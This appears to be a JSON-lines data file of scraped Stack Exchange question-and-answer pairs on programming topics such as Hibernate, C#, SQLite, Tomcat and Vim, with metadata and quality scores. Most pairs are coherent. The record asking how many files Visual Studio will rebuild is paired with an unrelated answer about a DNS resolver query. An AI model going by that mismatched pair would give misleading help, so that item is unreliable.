{"id": "hf_8412cbd9e79f", "question": "<p>In a digital signal acquisition system, often data is pushed into an observer in the system by one thread.  </p>\n\n<p>example from <a href=\"http://en.wikipedia.org/wiki/Observer_pattern\" rel=\"nofollow noreferrer\">Wikipedia/Observer_pattern</a>:</p>\n\n<pre><code>foreach (IObserver observer in observers)\n    observer.Update(message);\n</code></pre>\n\n<p>When e.g. a user action from e.g. a GUI-thread requires the data to stop flowing, you want to break the subject-observer connection, and even dispose of the observer alltogether.</p>\n\n<p>One may argue: you should just stop the data source, and wait for a sentinel value to dispose of the connection.  But that would incur more latency in the system.</p>\n\n<p>Of course, if the data pumping thread has just asked for the address of the observer, it might find it's sending a message to a destroyed object.</p>\n\n<p>Has someone created an 'official' Design Pattern countering this situation?  Shouldn't they?</p>\n", "question_body": "", "answer": "You could send a message to all observers informing them the data source is terminating and let the observers remove themselves from the list.\nIn response to the comment, the implementation of the subject-observer pattern should allow for dynamic addition / removal of observers. In C#, the event system is a subject/observer pattern where observers are added using\n```\nevent += observer\n```\nand removed using\n```\nevent -= observer\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.650138"}
{"id": "hf_055fb30e9c1e", "question": "<p>I know it's possible to place a PyCairo surface inside a Gtk Drawing Area. But I think Qt is a lot better to work with, so I've been wondering if there's anyway to place a PyCairo surface inside some Qt component?</p>\n", "question_body": "", "answer": "Qt's own OpenGL based surfaces (using QPainter) are known to be much faster than Cairo. Might you explain why you want specifically Cairo in Qt?\nFor the basics of using QPainter see\nthis excerpt\nfrom the book \"C++ GUI Programming with Qt4\", and while it's C++ code, the PyQt implementation will be parallel.\nAs for joining Cairo with Qt...\nThis article in ArsTechnica\nsheds some light - it seems nothing that could help you exists currently (iow., nobody tried such marriage).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.776240"}
{"id": "hf_610cd55ccb62", "question": "<p>I've got a webapp whose original code base was developed with a hand crafted hibernate mapping file.  Since then, I've become fairly proficient at 'coding' my hbm.xml file.  But all the cool kids are using annotations these days.</p>\n\n<p>So, the question is: <strong>Is it worth the effort</strong> to refactor my code to use hibernate annotations?  Will I gain anything, other than being hip and modern?  Will I lose any of the control I have in my existing hand coded mapping file?</p>\n\n<p>A sub-question is, <strong>how much effort will it be?</strong>  I like my databases lean and mean.  The mapping covers only a dozen domain objects, including two sets, some subclassing, and about 8 tables.</p>\n\n<p>Thanks, dear SOpedians, in advance for your informed opinions.</p>\n", "question_body": "", "answer": "One thing you'll gain from using annotations instead of an external mapping file is that your mapping information will be on classes and fields which improves maintainability. You add a field, you immediately add the annotation. You remove one, you also remove the annotation. you rename a class or a field, the annotation is right there and you can rename the table or column as well. you make changes in class inheritance, it's taken into account. You don't have to go and edit an external file some time later. this makes the whole thing more efficient and less error prone.\nOn the other side, you'll lose the global view your mapping file used to give you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.825221"}
{"id": "hf_f6b9342c450e", "question": "<p>Problem:<br/></p>\n\n<ol>\n<li>html file on local server (inside our organization) with link to an exe on the same server.</li>\n<li>clicking the link runs the exe on the client. Instead I want it to offer downloading it.</li>\n</ol>\n\n<p>Tried so far:<br/></p>\n\n<ol>\n<li>Changed permissions on the exe's virtual directory to be read and script.</li>\n<li>Added Content-disposition header on the exe's directory.</li>\n<li>I can't change settings in the browser. It's intended for a lot of people to consume.</li>\n</ol>\n", "question_body": "", "answer": "You need to set\n```\ncontent-disposition\n```\nin the HTTP header.\nThis Microsoft Knowledge Base entry\nhas more detail on how to do this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.849316"}
{"id": "hf_050e35306b16", "question": "<p>I want to place a Webpart on a page that holds a subfolder of the Document Library in SharePoint, but somehow, the only thing I get is the root folder of the document library.</p>\n\n<p>Is there a Webpart that fills this need?</p>\n", "question_body": "", "answer": "By default I don't think that is possible.\nThe list web part that would show the Shared Documents understands how to render the library, but doesn't understand how to filter to only show the contents of one subfolder.\nIt would be nice to create a Filter Web Part and to provide that filter to the List web part so that it filters according to the sub folder defined within the fileref field of the document library. However the filters it appears to be able to consume are Type, Modified and Modified By. So you could filter it to just the documents you touched, but not the ones in a given location.\nEnd result: Roll your own web part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.949626"}
{"id": "hf_4656f14096b6", "question": "<p>I am using C# to process a message in my Outlook inbox that contains attachments.  One of the attachments is of type olEmbeddeditem.  I need to be able to process the contents of that attachment.  From what I can tell I need to save the attachment to disk and use CreateItemFromTemplate which would return an object.  </p>\n\n<p>The issue I have is that an olEmbeddeditem can be any of the Outlook object types MailItem, ContactItem, MeetingItem, etc.  How do you know which object type a particular olEmbeddeditem attachment is going to be so that you know the object that will be returned by CreateItemFromTemplate?</p>\n\n<p>Alternatively, if there is a better way to get olEmbeddeditem attachment contents into an object for processing I'd be open to that too.</p>\n", "question_body": "", "answer": "I found the following code on Google Groups for determining the type of an Outlook object:\n```\n```\nType t = SomeOutlookObject.GetType();\nstring messageClass = t.InvokeMember(\"MessageClass\",\n  BindingFlags.Public | \n  BindingFlags.GetField | \n  BindingFlags.GetProperty,\n  null,\n  SomeOutlookObject,\n  new object[]{}).ToString();\nConsole.WriteLine(\"\\tType: \" + messageClass);\n```\n```\nI don't know if that helps with an olEmbedded item, but it seems to identify regular messages, calendar items, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:49.997363"}
{"id": "hf_129bc4595955", "question": "<p>Given the problem that a stored procedure on SQL Server 2005, which is looping through a cursor, must be run once an hour and it takes about 5 minutes to run, but it takes up a large chunk of processor time:</p>\n\n<p>edit: I'd remove the cursor if I could, unfortunatly, I have to be doing a bunch of processing and running other stored procs/queries based on the row.</p>\n\n<p>Can I use \n   WAITFOR DELAY '0:0:0.1'\nbefore each fetch to act as SQL's version of .Net's Thread.Sleep? Thus allowing the other processes to complete faster at the cost of this procedure's execution time.</p>\n\n<p>Or is there another solution I'm not seeing?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I'm not sure if that would solve the problem.  IMHO the performance problem with cursors is around the amount of memory you use to keep the dataset resident and loop through it, if you then add a waitfor inside the loop you're hogging resources for longer.\nBut I may be wrong here, what I would suggest is to use perfmon to check the server's performance under both conditions, and then make a decision whether it is worth-it or not to add the wait.\nLooking at the tag, I'm assuming you're using MS SQL Server, and not any of the other flavours.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.138068"}
{"id": "hf_cc65893513a1", "question": "<p>If I have a table in my database called 'Users', there will be a class generated by LINQtoSQL called 'User' with an already declared empty constructor.</p>\n\n<p>What is the best practice if I want to override this constructor and add my own logic to it?</p>\n", "question_body": "", "answer": "It doesn't look like you can override the empty constructor. Instead, I would create a method that performs the functionality that you need in the empty constructor and returns the new object.\n```\n```\n// Add new partial class to extend functionality\npublic partial class User {\n\n  // Add additional constructor\n  public User(int id) {\n    ID = id;\n  }\n\n  // Add static method to initialize new object\n  public User GetNewUser() {\n    // functionality\n    User user = new User();\n    user.Name = \"NewName\";\n    return user;\n  }\n}\n```\n```\nThen elsewhere in your code, instead of using the default empty constructor, do one of the following:\n```\n```\nUser user1 = new User(1);\nUser user2 = User.GetNewUser();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.161257"}
{"id": "hf_a486a3ac9e73", "question": "<p>Why is the following C# code not allowed:</p>\n\n<pre><code>public abstract class BaseClass\n{\n    public abstract int Bar { get;}\n}\n\npublic class ConcreteClass : BaseClass\n{\n    public override int Bar\n    {\n        get { return 0; }\n        set {}\n    }\n}\n</code></pre>\n\n<blockquote>\n  <p>CS0546 'ConcreteClass.Bar.set': cannot override because 'BaseClass.Bar' does not have an overridable set accessor</p>\n</blockquote>\n", "question_body": "", "answer": "Because at the IL level, a read/write property translates into two (getter and setter) methods.\nWhen overriding, you have to keep supporting the underlying interface. If you could add a setter, you would effectively be adding a new method, which would remain invisible to the outside world, as far as your classes' interface was concerned.\nTrue, adding a new method would not be breaking compatibility per se, but since it would remain hidden, decision to disallow this makes perfect sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.237951"}
{"id": "hf_1c38617b52f2", "question": "<p>How can I figure out the state of the files in my client, I want to know if the file needs an updated, or patched, or modified etc. In CVS, I used to simply run \"cvs -n -q update . > file\". Later look for M,U,P,C attributes to get the current status of the file.</p>\n\n<p>In perforce, \"p4 sync -n\" doesn't give output like \"cvs -n -q update\". How can I see the current status of files, in case of Perforce?</p>\n", "question_body": "", "answer": "Not quite sure what you mean.  If you are talking about seeing what files need \"resolving\" (in perforce language) then you can use:\n```\n```\np4 resolve -n\n```\n```\nSee the p4 command line manual website here:\nhttp://www.perforce.com/perforce/doc.current/manuals/cmdref/resolve.html#1040665\nAlso P4V has a nice feature to highlight unsubmitted and dirty files, if you use that client.  Right-click on a fodler in the workspace view, and select \"reconcile offline work.\"  After a bit of processing you'll get a list of files that are out of sync with the depot.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.296961"}
{"id": "hf_9c81b66a84e9", "question": "<p>I was checking out Intel's \"whatif\" site and their Transactional Memory compiler (each thread has to make atomic commits or rollback the system's memory, like a Database would). </p>\n\n<p>It seems like a promising way to replace locks and mutexes but I can't find many testimonials. Does anyone here have any input?</p>\n", "question_body": "", "answer": "In some cases I can see this as being useful and even necessary.\nHowever, even if the processor has special instructions that make this process easier there is still a large overhead compared to a mutex or semaphore.  Depending on how it's implemented it may also impact realtime performance (have to either stop interrupts, or prevent them from writing into your shared areas).\nMy expectation is that if this was implemented, it would only be needed for portions of a given memory space, though, and so the impact could be limited.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.326331"}
{"id": "hf_f714fba30eba", "question": "<p>I find the concept of the programmable, tiling, keyboard-focuessed window manager <a href=\"http://www.modeemi.fi/~tuomov/ion/\" rel=\"nofollow noreferrer\">ion3</a> very appealing, but I think it takes some time to customize it to your needs until you can really evaluate this totally different UI-concept.</p>\n\n<p>Therefore, I would like to read reviews of people who tried it for a longer time as environment for programming (in particular using emacs/gcc).</p>\n\n<p>(The policies of the ion3-author concerning linux-distros are not easy to follow for me, but this should not be the point here...)</p>\n", "question_body": "", "answer": "I've used it off and on for the last few years, I think its a great window manager, but I keep crawling back to kde3 whatever I use.\nIts however difficult to put into quantifiable terms why this happens, but its right up there with the gnome-vs-kde battle. Neither side can understand the other.\nI would also just love to have kicker + ion3, but they don't gel awfully well.\nMoving applications between tiles ( something I tend to do lots ) also is a bit inefficient ( too addicted to the mouse )\n( Kicker + Evilwm is a good combination, but evilwm just can't handle stacking in a user-friendly way )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.358404"}
{"id": "hf_8f513db964f9", "question": "<p>I have a template class that I serialize (call it C), for which I want to specify a version for boost serialization. As BOOST_CLASS_VERSION does not work for template classes. I tried this:</p>\n\n<pre><code>namespace boost {\nnamespace serialization {\n    template&lt; typename T, typename U &gt;\n    struct version&lt; C&lt;T,U&gt; &gt;\n    {\n        typedef mpl::int_&lt;1&gt; type;\n        typedef mpl::integral_c_tag tag;\n        BOOST_STATIC_CONSTANT(unsigned int, value = version::type::value);\n    };\n}\n}\n</code></pre>\n\n<p>but it does not compile. Under VC8, a subsequent call to BOOST_CLASS_VERSION gives this error:</p>\n\n<p><code>error C2913: explicit specialization; 'boost::serialization::version' is not a specialization of a class template</code></p>\n\n<p>What is the correct way to do it?</p>\n", "question_body": "", "answer": "```\n```\n#include <boost/serialization/version.hpp>\n```\n```\n:-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.387321"}
{"id": "hf_6dd59befe2e1", "question": "<p>How can I figure out, how many files needs to be recompiled <em>before</em> I start the build process.</p>\n\n<p>Sometimes I don't remember how many basic header files I changed so a Rebuild All would be better than a simple build. There seams to be no option for this, but IMHO it must be possible (f.e. XCode give me this information).</p>\n\n<p><strong>Update:</strong></p>\n\n<p>My problem is not, that Visual Studio doesn't know what to compile. I need to know how much it <em>will</em> compile so that I can decide if I can make a quick test with my new code or if I should write more code till I start the \"expensive\" build process. Or if my boss ask \"When can I have the new build?\" the best answer is not \"It is done when it is done!\".</p>\n\n<p>It's really helpful when the IDE can say <em>\"compile 200 of 589 files\"</em> instead of <em>\"compile x,y, ...\"</em></p>\n", "question_body": "", "answer": "If you try this, what happens?\n```\n```\nprint myresolver.query('sources.org', 'ANY', 'RRSIG')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.419415"}
{"id": "hf_dc0b272363ec", "question": "<p><a href=\"https://stackoverflow.com/questions/71955/when-choosing-an-orm-is-linq-to-sql-or-linq-to-entities-better-than-nhibernate#71974\">This answer says</a> that Linq is targeted at a slightly different group of developers than NHibernate, Castle, etc.</p>\n\n<p>Being rather new to C#, nevermind all the DB stuff surrounding it:</p>\n\n<ul>\n<li>Are there other major, for lack of a better term, SQL wrappers than NHibernate, Castle, Linq?</li>\n<li>What are the differences between them?</li>\n<li>What kind of developers or development are they aimed at?</li>\n</ul>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "When you say Castle I assume you mean Castle Active Record?\nThe difference is NHibernate is an OR/M and is aimed at developers who want to focus on the domain rather than the database. With linq to sql, your database is pre-existing and you're relationships and some of programming will be driven by how your database is defined.\nNow between NHibernate and Castle ActiveRecord -- they are similar in that you're driving your application design from the domain but with NHibernate you provide mapping xml files (or mapping classes with fluent NHibernate) where in Active Record you are using the convention over configuration (using attributes to define any columns and settings that don't fit naturally). Castle Active record is still using NHibernate in the background.\nOne OR/M is not necessarily the 'one true way' to go. It depends on your environment, the application your developing and your team.\nYou may also want to check out\nSubSonic\n. It's great for active record but it is not for project where you want to focus mainly on your Domain. Depending on the project, I usually use either NHibernate (with Castle Active Record) or Subsonic", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.440391"}
{"id": "hf_a69794d57cb4", "question": "<p>Is it possible to use Microsoft Entity Framework with Oracle database?</p>\n", "question_body": "", "answer": "DevArt's OraDirect provider now supports entity framework. See\nhttp://devart.com/news/2008/directs475.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.460084"}
{"id": "hf_5d1c09df9da6", "question": "<p>By default tomcat will create a session cookie for the current domain.</p>\n\n<p>If you are on www.example.com, your cookie will be created for www.example.com (will only work on www.example.com). Whereas for example.com it will be created for .example.com (desired behaviour, will work on any subdomain of example.com as well as example.com itself).</p>\n\n<p>I've seen a few Tomcat valves which seem to intercept the creation of session cookies and create a replacement cookie with the correct .example.com domain, however none of them seem to work flawlessly and they all appear to leave the existing cookie and just create a new one. This means that two JSESSIONID cookies are being sent with each request.</p>\n\n<p>I was wondering if anybody has a definitive solution to this problem.</p>\n", "question_body": "", "answer": "I've run into this at $DAYJOB. In my case I wanted to implement SSL signon then redirect to a non SSL page. The core problem in tomcat is the method (from memory) SessionManager.configureSessionCookie which hard codes all the variables you would like to get access to.\nI came up with a few ideas, including a particularly egregious hack using mod_headers in apache to rewrite the cookie based on regex substitution.\nThe definative way to solve this would be to submit a patch to the tomcat developers that adds configurable parameters to the SessionManager class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.480062"}
{"id": "hf_88e232846eb3", "question": "<p>I have seen examples of printing from a windows application but I have not been able to find a good example of any way of doing this.  </p>\n", "question_body": "", "answer": "If you just need to print your web page from the client-side use\n```\nwindow.print()\n```\n. Sample could be found here:\nhttp://www.javascriptkit.com/howto/newtech2.shtml\n. I would suggest preparing a special version of your page first with no dynamic content and with a layout which would look nice on print.\nIf you need to send something to printer on the server-side that would be a\nlittle bit\nmore complicated. Check out this\nMSDN\narticle on how to do the basic printing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.512613"}
{"id": "hf_70dbca2af74b", "question": "<p>If I open files I created in Windows, the lines all end with <code>^M</code>.<br />\nHow do I delete these characters all at once?</p>\n", "question_body": "", "answer": "```\n```\n:%s/\\r\\+//g\n```\n```\nIn Vim, that strips all carriage returns, and leaves only newlines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.572449"}
{"id": "hf_548a58953a7d", "question": "<p>How do I check whether a file exists or not, without using the <a href=\"https://docs.python.org/3.6/reference/compound_stmts.html#try\" rel=\"noreferrer\"><code>try</code></a> statement?</p>\n", "question_body": "", "answer": "```\n```\nimport os\n\nif os.path.isfile(filepath):\n   print(\"File exists\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.632443"}
{"id": "hf_9ca8c52cfb08", "question": "<p>If I am in a function in the code behind, and I want to implement displaying a \"Loading...\" in the status bar the following makes sense, but as we know from WinForms is a NoNo:</p>\n\n<pre><code>StatusBarMessageText.Text = \"Loading Configuration Settings...\";            \nLoadSettingsGridData();\nStatusBarMessageText.Text = \"Done\";\n</code></pre>\n\n<p>What we all now from WinForms Chapter 1 class 101, is the form won't display changes to the user until after the Entire Function completes... meaning the \"Loading\" message will never be displayed to the user.  The following code is needed.</p>\n\n<pre><code>Form1.SuspendLayout();    \nStatusBarMessageText.Text = \"Loading Configuration Settings...\";                \nForm1.ResumeLayout();\n\nLoadSettingsGridData();\n\nForm1.SuspendLayout();    \nStatusBarMessageText.Text = \"Done\";\nForm1.ResumeLayout();\n</code></pre>\n\n<p>What is the best practice for dealing with this fundamental issue in WPF?</p>\n", "question_body": "", "answer": "The easiest way to get this to work is to add the LoadSettingsGridData to the dispatcher queue.  If you set the operation's DispatcherPriority sufficiently low enough, the layout operations will occur, and you will be good to go.\n```\n```\nStatusBarMessageText.Text = \"Loading Configuration Settings...\";\nthis.Dispatcher.BeginInvoke(new Action(LoadSettingsGridData), DispatcherPriority.Render);\nthis.Dispatcher.BeginInvoke(new Action(() => StatusBarMessageText.Text = \"Done\"), DispatcherPriority.Render);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.721629"}
{"id": "hf_2d21404483e1", "question": "<p>What files can we modify so that our solution is still supported by Microsoft?</p>\n\n<p>Is it allowed to customize error pages? \nCan we modify the web.config files to use custom HTTPHandlers?</p>\n", "question_body": "", "answer": "You can certainly edit the web.config file for your sites.  The one thing that you should be aware of, however, is that when you start editing files manually on the file system, you will have to remember to manually make those changes across all servers in the farm (assuming a farm exists).  In addition to this, when you edit files in the 12 hive, it's important to understand that you will be making a change to all SharePoint sites hosted on the server(s) for which the files were edited.\nPersonally, if I were going to create a custom error page, I would simply add a <customErrors> section to my web.config.  I avoid\nediting\nany\nexisting\nfiles in the 12 hive, but I have\nadded\nfiles (though it's rare).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.744747"}
{"id": "hf_369fed2b6e09", "question": "<p>I am curious about how many of you folks incorporate mocking of objects (frameworks like JMock, NMock, RhinoMocks hand in hand with unit testing frameworks) into your daily development process. What are your experiences?</p>\n\n<p>You see, I develop on top of a GIS (geographic information systems) platform, in which most of work pertains to some way of handling data. As its data object model is quite complex (many many classes and interfaces, all COM-based), it is also quite difficult and cumbersome to mock. In this case, mocking incurs a great deal of overhead when writing test suites. I wonder if there are people in similar situation, or just, how does mocking (in whatever situation you are in) work for you.</p>\n", "question_body": "", "answer": "In my situation mocks work\nreally nice.\nBut I'm using Python, which is so dynamic that it makes many things involving testing much, much easier.\nIn situation like yours, when application is mainly\ndata-driven\n(as far as I see), mocks may not be as useful. Just passing data in and watching it come out should be enough for testing. I would just make sure that application is\nmodularized enough\n, so this approach can be applied to reasonably small components.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.784874"}
{"id": "hf_758434b39704", "question": "<p>What SQL can be used to list the tables, and the rows within those tables in an SQLite database file - once I have attached it with the <code>ATTACH</code> command on the SQLite 3 command line tool?</p>\n", "question_body": "", "answer": "It appears you need to go through the\nsqlite_master\ntable, like this:\n```\n```\nSELECT * FROM dbname.sqlite_master WHERE type='table';\n```\n```\nAnd then manually go through each table with a\n```\nSELECT\n```\nor similar to look at the rows.\nThe\n```\n.DUMP\n```\nand\n```\n.SCHEMA\n```\ncommands doesn't appear to see the database at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.851026"}
{"id": "hf_a2b0252f7998", "question": "<p>Visual studio is pretty good but doesn't create stored procedures automatically.  Iron Speed designer does supposedly.  But is it any good?</p>\n", "question_body": "", "answer": "I have used it for convenience for a very small project. It did what I wanted and saved me a couple of days work.\nThe main problem I found was when it came to customising or extending the generated project. You have to spend quite a bit of time trying to understand Ironspeed's way of doing things which, I'll admit, is not my way.\nI'd use it again for a small project if I knew in advance I wouldn't have to customise it much after.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.872958"}
{"id": "hf_fa1ab855e022", "question": "<p>I have a PHP application that displays a list of options to a user.  The list is generated from a simple query against SQL 2000.  What I would like to do is have a specific option at the top of the list, and then have the remaining options sorted alphabetically.</p>\n\n<p>For example, here's the options if sorted alphabetically:  </p>\n\n<pre><code>Calgary  \nEdmonton  \nHalifax  \nMontreal  \nToronto  \n</code></pre>\n\n<p>What I would like the list to be is more like this:  </p>\n\n<pre><code>**Montreal**  \nCalgary  \nEdmonton  \nHalifax  \nToronto  \n</code></pre>\n\n<p>Is there a way that I can do this using a single query?  Or am I stuck running the query twice and appending the results?</p>\n", "question_body": "", "answer": "```\n```\nSELECT name FROM options ORDER BY name = \"Montreal\", name;\n```\n```\nNote: This works with MySQL, not SQL 2000 like the OP requested.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.940953"}
{"id": "hf_a14248bba92c", "question": "<p>Have you used <a href=\"http://pipes.yahoo.com/pipes/\" rel=\"nofollow noreferrer\">pipes.yahoo.com</a> to quickly and easily do... anything? I've recently created a quick <a href=\"http://pipes.yahoo.com/kooshmoose/stackoverflow_merge\" rel=\"nofollow noreferrer\">mashup of StackOverflow tags</a> (<a href=\"http://pipes.yahoo.com/pipes/pipe.run?_id=NIlbqD_E3RGfAAUWpgt1Yg&amp;_render=rss\" rel=\"nofollow noreferrer\">via rss</a>) so that I can browse through new questions in fields I like to follow.</p>\n\n<p>This has been around for some time, but I've just recently revisited it and I'm completely impressed with it's ease of use. It's almost to the point where I could set up a pipe and then give a client privileges to go in and edit feed sources... and I didn't have to write more than a few lines of code.</p>\n\n<p>So, what other practical uses can you think of for pipes?</p>\n", "question_body": "", "answer": "It's nice for aggregating feeds, yes, but the other handy thing to do is filtering the feeds. A while back, I created a feed for Digg (before Digg fell into the Fark pit of dispair). I didn't care about the overwhelming Apple and Ubuntu news, so I filtered those keywords out of Technology, which I then combined with Science and World & Business feeds.\nAnyway, you can do a lot more than just combine things. If you wanted to be smart about it,  you could set up per-subfeed and whole-feed filters to give granular or over-arching filtering abilities as the news changes and you get bored with one topic or another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:50.996811"}
{"id": "hf_f940520da5a9", "question": "<p>I have a <code>rails</code> application which is still showing the cachebusting numeric string at the end of the URL for static mode, even though I have put it into the production environment. Can someone tell me what config option I need to set to prevent this behaviour...</p>\n", "question_body": "", "answer": "That file isn't there to break the cache during day-to-day operations. At least in theory, proxy servers are allowed to cache HTTP GET requests (as long the parameters remain the same).\nInstead, that number is there to allow you to smoothly upgrade your CSS and JavaScript files from one version to the next. As I understand it, it's supposed to remain on in production mode. The numbers should only change when the timestamps on your files change.\nAre you seeing common proxy servers that completely fail to cache any HTTP GET request with a single parameter?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.121902"}
{"id": "hf_c219b3d77af4", "question": "<p>is there a solution for batch insert via hibernate in partitioned postgresql table?  currently i'm getting an error like this...</p>\n\n<pre><code>ERROR org.hibernate.jdbc.AbstractBatcher - Exception executing batch:\norg.hibernate.StaleStateException: Batch update returned unexpected row count from update [0]; actual row count: 0; expected: 1\n   at org.hibernate.jdbc.Expectations$BasicExpectation.checkBatched(Expectations.java:61)\n   at org.hibernate.jdbc.Expectations$BasicExpectation.verifyOutcome(Expectations.java:46)\n   at org.hibernate.jdbc.BatchingBatcher.checkRowCounts(BatchingBatcher.java:68)....\n</code></pre>\n\n<p>i have found this link <a href=\"http://lists.jboss.org/pipermail/hibernate-dev/2007-October/002771.html\" rel=\"nofollow noreferrer\">http://lists.jboss.org/pipermail/hibernate-dev/2007-October/002771.html</a> but i can't find anywhere on the web is this problem solved or how it can be get around</p>\n", "question_body": "", "answer": "You might want to try using a custom Batcher by setting the hibernate.jdbc.factory_class property. Making sure hibernate won't check the update count of batch operations might fix your problem, you can achieve that by making your custom Batcher extend the class BatchingBatcher, and then overriding the method 